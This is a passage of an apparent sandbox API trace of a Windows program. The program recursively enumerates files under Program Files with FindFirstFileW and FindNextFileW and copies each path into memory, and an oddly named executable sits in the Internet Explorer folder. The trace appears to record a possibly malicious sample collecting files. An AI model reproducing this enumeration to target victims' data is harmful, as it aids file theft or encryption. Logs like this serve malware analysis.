lpString1="c:\\Program Files (x86)\\Common Files\\Services\\") returned="c:\\Program Files (x86)\\Common Files\\Services\\" [0041.548] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0041.548] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\*") returned="c:\\Program Files (x86)\\Common Files\\Services\\*" [0041.548] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.548] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.548] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.549] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.549] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.549] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.549] lstrcmpW (lpString1="verisign.bmp", lpString2=".") returned 1 [0041.549] lstrcmpW (lpString1="verisign.bmp", lpString2="..") returned 1 [0041.549] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\") returned 45 [0041.549] lstrlenW (lpString="verisign.bmp") returned 12 [0041.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\", lpString2="verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0041.549] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned 57 [0041.549] lstrcpyW (in: lpString1=0x5ff8b0, lpString2="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp") returned="c:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" [0041.549] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.549] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.549] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.549] lstrcmpW (lpString1="SpeechEngines", lpString2=".") returned 1 [0041.549] lstrcmpW (lpString1="SpeechEngines", lpString2="..") returned 1 [0041.549] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.549] lstrlenW (lpString="SpeechEngines") returned 13 [0041.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="SpeechEngines" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines" [0041.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\" [0041.549] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0041.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*" [0041.549] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.549] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.549] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.549] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.549] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.549] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.549] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0041.549] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0041.549] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\") returned 50 [0041.549] lstrlenW (lpString="Microsoft") returned 9 [0041.549] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="c:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0041.550] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.550] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.550] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.550] lstrcmpW (lpString1="System", lpString2=".") returned 1 [0041.550] lstrcmpW (lpString1="System", lpString2="..") returned 1 [0041.550] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0041.550] lstrlenW (lpString="System") returned 6 [0041.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="System" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System") returned="c:\\Program Files (x86)\\Common Files\\System" [0041.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\") returned="c:\\Program Files (x86)\\Common Files\\System\\" [0041.550] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\*") returned="c:\\Program Files (x86)\\Common Files\\System\\*" [0041.550] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.550] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.550] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.550] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.550] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.550] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.550] lstrcmpW (lpString1="ado", lpString2=".") returned 1 [0041.550] lstrcmpW (lpString1="ado", lpString2="..") returned 1 [0041.550] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.550] lstrlenW (lpString="ado") returned 3 [0041.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="ado" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\ado") returned="c:\\Program Files (x86)\\Common Files\\System\\ado" [0041.550] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.550] lstrcmpW (lpString1="DirectDB.dll", lpString2=".") returned 1 [0041.550] lstrcmpW (lpString1="DirectDB.dll", lpString2="..") returned 1 [0041.550] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.550] lstrlenW (lpString="DirectDB.dll") returned 12 [0041.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0041.550] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned 55 [0041.550] lstrcpyW (in: lpString1=0x9202b8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" [0041.550] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.550] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.550] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.550] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.550] lstrlenW (lpString="en-US") returned 5 [0041.550] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\en-US") returned="c:\\Program Files (x86)\\Common Files\\System\\en-US" [0041.550] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.551] lstrcmpW (lpString1="msadc", lpString2=".") returned 1 [0041.551] lstrcmpW (lpString1="msadc", lpString2="..") returned 1 [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.551] lstrlenW (lpString="msadc") returned 5 [0041.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="msadc" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\msadc") returned="c:\\Program Files (x86)\\Common Files\\System\\msadc" [0041.551] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.551] lstrcmpW (lpString1="Ole DB", lpString2=".") returned 1 [0041.551] lstrcmpW (lpString1="Ole DB", lpString2="..") returned 1 [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.551] lstrlenW (lpString="Ole DB") returned 6 [0041.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\Ole DB") returned="c:\\Program Files (x86)\\Common Files\\System\\Ole DB" [0041.551] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.551] lstrcmpW (lpString1="wab32.dll", lpString2=".") returned 1 [0041.551] lstrcmpW (lpString1="wab32.dll", lpString2="..") returned 1 [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.551] lstrlenW (lpString="wab32.dll") returned 9 [0041.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned 52 [0041.551] lstrcpyW (in: lpString1=0x920330, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32.dll" [0041.551] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.551] lstrcmpW (lpString1="wab32res.dll", lpString2=".") returned 1 [0041.551] lstrcmpW (lpString1="wab32res.dll", lpString2="..") returned 1 [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\") returned 43 [0041.551] lstrlenW (lpString="wab32res.dll") returned 12 [0041.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\System\\", lpString2="wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned 55 [0041.551] lstrcpyW (in: lpString1=0x9203a8, lpString2="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" | out: lpString1="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll") returned="c:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" [0041.551] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.551] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.551] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.551] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.551] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.551] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0041.551] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.551] lstrlenW (lpString="desktop.ini") returned 11 [0041.551] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0041.551] lstrlenW (lpString="c:\\Program Files (x86)\\desktop.ini") returned 34 [0041.551] lstrcpyW (in: lpString1=0x5ff930, lpString2="c:\\Program Files (x86)\\desktop.ini" | out: lpString1="c:\\Program Files (x86)\\desktop.ini") returned="c:\\Program Files (x86)\\desktop.ini" [0041.551] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.551] lstrcmpW (lpString1="Google", lpString2=".") returned 1 [0041.551] lstrcmpW (lpString1="Google", lpString2="..") returned 1 [0041.552] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.552] lstrlenW (lpString="Google") returned 6 [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Google" | out: lpString1="c:\\Program Files (x86)\\Google") returned="c:\\Program Files (x86)\\Google" [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\") returned="c:\\Program Files (x86)\\Google\\" [0041.552] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\*") returned="c:\\Program Files (x86)\\Google\\*" [0041.552] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.552] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.552] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.552] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.552] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.552] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.552] lstrcmpW (lpString1="Chrome", lpString2=".") returned 1 [0041.552] lstrcmpW (lpString1="Chrome", lpString2="..") returned 1 [0041.552] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0041.552] lstrlenW (lpString="Chrome") returned 6 [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="Chrome" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome") returned="c:\\Program Files (x86)\\Google\\Chrome" [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\") returned="c:\\Program Files (x86)\\Google\\Chrome\\" [0041.552] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\*") returned="c:\\Program Files (x86)\\Google\\Chrome\\*" [0041.552] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\Chrome\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.552] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.552] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.552] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.552] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.552] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.552] lstrcmpW (lpString1="Application", lpString2=".") returned 1 [0041.552] lstrcmpW (lpString1="Application", lpString2="..") returned 1 [0041.552] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\Chrome\\") returned 37 [0041.552] lstrlenW (lpString="Application") returned 11 [0041.552] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\", lpString2="Application" | out: lpString1="c:\\Program Files (x86)\\Google\\Chrome\\Application") returned="c:\\Program Files (x86)\\Google\\Chrome\\Application" [0041.552] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.552] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.552] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.552] lstrcmpW (lpString1="CrashReports", lpString2=".") returned 1 [0041.552] lstrcmpW (lpString1="CrashReports", lpString2="..") returned 1 [0041.552] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\") returned 30 [0041.552] lstrlenW (lpString="CrashReports") returned 12 [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\", lpString2="CrashReports" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports") returned="c:\\Program Files (x86)\\Google\\CrashReports" [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\") returned="c:\\Program Files (x86)\\Google\\CrashReports\\" [0041.553] lstrlenW (lpString="c:\\Program Files (x86)\\Google\\CrashReports\\") returned 43 [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Google\\CrashReports\\*") returned="c:\\Program Files (x86)\\Google\\CrashReports\\*" [0041.553] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Google\\CrashReports\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0xffffffff [0041.553] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0 [0041.553] FindClose (in: hFindFile=0x3b5d18 | out: hFindFile=0x3b5d18) returned 1 [0041.553] FindNextFileW (in: hFindFile=0x3b5cd8, lpFindFileData=0x36f218 | out: lpFindFileData=0x36f218) returned 1 [0041.553] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0041.553] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0041.553] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0041.553] lstrlenW (lpString="Internet Explorer") returned 17 [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Internet Explorer" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer") returned="c:\\Program Files (x86)\\Internet Explorer" [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\") returned="c:\\Program Files (x86)\\Internet Explorer\\" [0041.553] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\*" [0041.553] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 0x3b5d18 [0041.553] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.553] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.553] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.553] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.553] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.553] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2=".") returned 1 [0041.553] lstrcmpW (lpString1="efforts-extreme-quantity-reproductive.exe", lpString2="..") returned 1 [0041.553] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.553] lstrlenW (lpString="efforts-extreme-quantity-reproductive.exe") returned 41 [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0041.553] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned 82 [0041.553] lstrcpyW (in: lpString1=0x5ff980, lpString2="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe") returned="c:\\Program Files (x86)\\Internet Explorer\\efforts-extreme-quantity-reproductive.exe" [0041.553] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.553] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0041.553] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0041.553] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\") returned 41 [0041.553] lstrlenW (lpString="en-US") returned 5 [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US" [0041.553] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\" [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*" [0041.554] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.554] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.554] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.554] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.554] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.554] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2=".") returned 1 [0041.554] lstrcmpW (lpString1="hmmapi.dll.mui", lpString2="..") returned 1 [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.554] lstrlenW (lpString="hmmapi.dll.mui") returned 14 [0041.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned 61 [0041.554] lstrcpyW (in: lpString1=0x5ffa30, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\hmmapi.dll.mui" [0041.554] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.554] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2=".") returned 1 [0041.554] lstrcmpW (lpString1="iedvtool.dll.mui", lpString2="..") returned 1 [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.554] lstrlenW (lpString="iedvtool.dll.mui") returned 16 [0041.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned 63 [0041.554] lstrcpyW (in: lpString1=0x5ffab8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\iedvtool.dll.mui" [0041.554] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.554] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2=".") returned 1 [0041.554] lstrcmpW (lpString1="ieinstal.exe.mui", lpString2="..") returned 1 [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.554] lstrlenW (lpString="ieinstal.exe.mui") returned 16 [0041.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned 63 [0041.554] lstrcpyW (in: lpString1=0x5ffb40, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ieinstal.exe.mui" [0041.554] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.554] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2=".") returned 1 [0041.554] lstrcmpW (lpString1="ielowutil.exe.mui", lpString2="..") returned 1 [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.554] lstrlenW (lpString="ielowutil.exe.mui") returned 17 [0041.554] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\", lpString2="ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0041.554] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned 64 [0041.554] lstrcpyW (in: lpString1=0x5ffbc8, lpString2="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui") returned="c:\\Program Files (x86)\\Internet Explorer\\en-US\\ielowutil.exe.mui" [0041.554] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.554] lstrcmpW (lpString1="iexplore.exe.mui", lpString2=".") returned 1 [0041.555] lstrcmpW (lpString1="iexplore.exe.mui", lpString2="..") returned 1 [0041.555] lstrlenW (lpString="c:\\Program Files (x86)\\Internet Explorer\\en-US\\") returned 47 [0041.555] lstrlenW 